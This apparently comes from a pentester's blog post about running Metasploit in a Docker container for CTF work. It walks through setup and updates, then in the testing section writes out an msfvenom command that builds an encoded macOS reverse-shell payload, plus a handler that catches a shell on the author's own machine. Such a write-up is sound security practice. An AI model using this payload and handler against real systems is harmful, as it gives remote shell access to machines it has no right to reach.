Metasploit Docker Container – Containerize All the Things!

During a CTF I competed in recently, I found the need to create a Metasploit Docker container.

The main benefit of this was not having to deal with NAT issues to my virtual machine, but I will touch on this more later.

Installation

First of all, I installed Docker on my Mac.

Metasploit Docker Container - Installation

Once I completed the installation and configuration (including any proxy settings), my container was up and running.

Metasploit Docker Container - Running

MACINTOP:Documents doyler$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
MACINTOP:Documents doyler$ 

Metasploit Docker Container Image

With Docker installed and running, it was time to find an image to use.

I settled on the remnux image, since it seemed to have everything that I would need.

Next, I ran the provided command to set up a local container. The descriptions for the flags are as follows:

  • --rm = remove the container if it already exists
  • -it = Keep STDIN open even if not attached and attach a pseudo-tty (open an interactive shell into the container)
  • -p 443:443 = publish the container's port 443 to my host system. This will allow catching reverse shells with my host IP in my container
  • -v ~/.msf4:/root/.msf4 = this mounts ~/.msf4 on my host system as /root/.msf4 on the container (allowing for sharing or uploading of files)
  • -v /tmp/msf:/tmp/data = see above
MACINTOP:Documents doyler$ sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
Password: 
Unable to find image 'remnux/metasploit:latest' locally
latest: Pulling from remnux/metasploit
04cf3f0e25b6: Pull complete 
d5b45e963ba0: Pull complete 
a5c78fda4e14: Pull complete 
193d4969ca79: Pull complete 
d709551f9630: Pull complete 
1f25a1bb3176: Pull complete 
32cbc8e77c38: Pull complete 
9707c72ed4d0: Pull complete 
592bbe533650: Pull complete 
8d25bbc5564d: Pull complete 
bee7a92a8ebe: Pull complete 
58ba86fae4eb: Pull complete 
91d9c75fcf28: Pull complete 
220d3151e9ca: Pull complete 
5bdfaa013ef3: Pull complete 
7a09535bcd76: Pull complete 
e45f0be4a46e: Pull complete 
06bd944ec068: Pull complete 
ffd22526b3f0: Pull complete 
b02c2a07c2a4: Pull complete 
Digest: sha256:29e449ddc3ff026bba2030d65331530834b6ba7718d625c76e416c7457c5be7c
Status: Downloaded newer image for remnux/metasploit:latest
ruby-2.3.3 is not installed.
To install do: 'rvm install ruby-2.3.3'
 * Starting PostgreSQL 9.3 database server                                                                                                                                                         [ OK ] 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[*] Checking for updates via git
[*] Note: Updating from bleeding edge
fatal: 'upstream' does not appear to be a git repository
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
[*] Attempting to add remote 'upstream' to your local git repository.
[*] Added remote 'upstream' to your local git repository.
HEAD is now at f0dca7ab Land #7692, print_error for error_sql_injection
Already on 'master'
Your branch is up-to-date with 'origin/master'.
id
fatal: unable to connect to github.com:
github.com[0: 192.30.253.112]: errno=Connection refused
github.com[1: 192.30.253.113]: errno=Connection refused

merge: upstream/master - not something we can merge
[*] Updating gems...
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as root will break this application for all non-root users on this machine.
Resolving dependencies...
Using rake 12.0.0
< ... snip ... >
Using metasploit-framework 4.13.7 from source at `.`
Bundle complete! 14 Gemfile dependencies, 119 gems now installed.
Use `bundle show [gemname]` to see where a bundled gem is installed.
root@4f0e3051f5d7:/tmp/data#

Updates and Configuration

Once the container was setup, I needed to update a few things and configurations.

The first thing I did was update Ruby, to prevent any other weird errors or warnings from occurring.

root@4f0e3051f5d7:/tmp/data# rvm install ruby-2.3.3
Warning, new version of rvm available '1.28.0', you are using older version '1.27.0'.
You can disable this warning with:    echo rvm_autoupdate_flag=0 >> ~/.rvmrc
< ... snip ... >
Install of ruby-2.3.3 - #complete 
Ruby was built without documentation, to build it run: rvm docs generate-ri

After I updated Ruby, I had to modify my git config. There was an issue with my proxy server, but updating the git URLs from git:// to https:// fixed this.

With that in place, I was able to properly run msfupdate.

root@4f0e3051f5d7:/tmp/data# git config --global url."https://".insteadOf git://
root@4f0e3051f5d7:/tmp/data# msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[*] Checking for updates via git
[*] Note: Updating from bleeding edge
HEAD is now at f0dca7ab Land #7692, print_error for error_sql_injection
Already on 'master'
Your branch is up-to-date with 'origin/master'.
remote: Counting objects: 3767, done.
< ... snip ... >
Using metasploit-framework 4.13.10 from source at `.`
Bundle complete! 14 Gemfile dependencies, 119 gems now installed.
Use `bundle show [gemname]` to see where a bundled gem is installed.
root@4f0e3051f5d7:/tmp/data# 

Testing

After everything was setup and updated, it was time to test msfconsole and the port forwarding.

First, I generated an OSX reverse shell that I could execute on my host system. Then, I setup a handler on port 443 (notice the IP error because that isn't the IP of the container) to hopefully catch the shell.

Finally, with those in place, I transferred the payload to the shared directory, and executed it on my host system. Everything worked perfectly, and I had a reverse shell to my host OS!

root@4f0e3051f5d7:/tmp/data# msfconsole
                                                 
       =[ metasploit v4.13.10-dev-7585999                 ]
+ -- --=[ 1610 exploits - 914 auxiliary - 279 post        ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > msfvenom -a x86 --platform OSX -p osx/x86/shell_reverse_tcp LHOST=10.119.21.167 LPORT=443 -e x86/shikata_ga_nai -b "\x00" -f macho -o /tmp/data/osx_reverse_tcp
[*] exec: msfvenom -a x86 --platform OSX -p osx/x86/shell_reverse_tcp LHOST=10.119.21.167 LPORT=443 -e x86/shikata_ga_nai -b "\x00" -f macho -o /tmp/data/osx_reverse_tcp

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 92 (iteration=0)
x86/shikata_ga_nai chosen with final size 92
Payload size: 92 bytes
Final size of macho file: 20800 bytes
Saved as: /tmp/data/osx_reverse_tcp
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD osx/x86/shell_reverse_tcp 
PAYLOAD => osx/x86/shell_reverse_tcp
msf exploit(handler) > set LHOST 10.119.21.167
LHOST => 10.119.21.167
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (osx/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.119.21.167    yes       The listen address
   LPORT  443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[-] Handler failed to bind to 10.119.21.167:443:-  -
[*] Started reverse TCP handler on 0.0.0.0:443 
[*] Starting the payload handler...
[*] Command shell session 1 opened (172.17.0.2:443 -> 172.17.0.1:37618) at 2017-01-04 19:09:22 +0000

id
uid=1587206(doyler) gid=20(staff) groups=20(staff),12(everyone),33(_appstore),80(admin),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
hostname
MACINTOP

As a result, this was a fairly easy process, and I definitely recommend setting up a Metasploit Docker container of your own. If you don't need one locally, it could be quite useful on a cloud box for external engagements.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.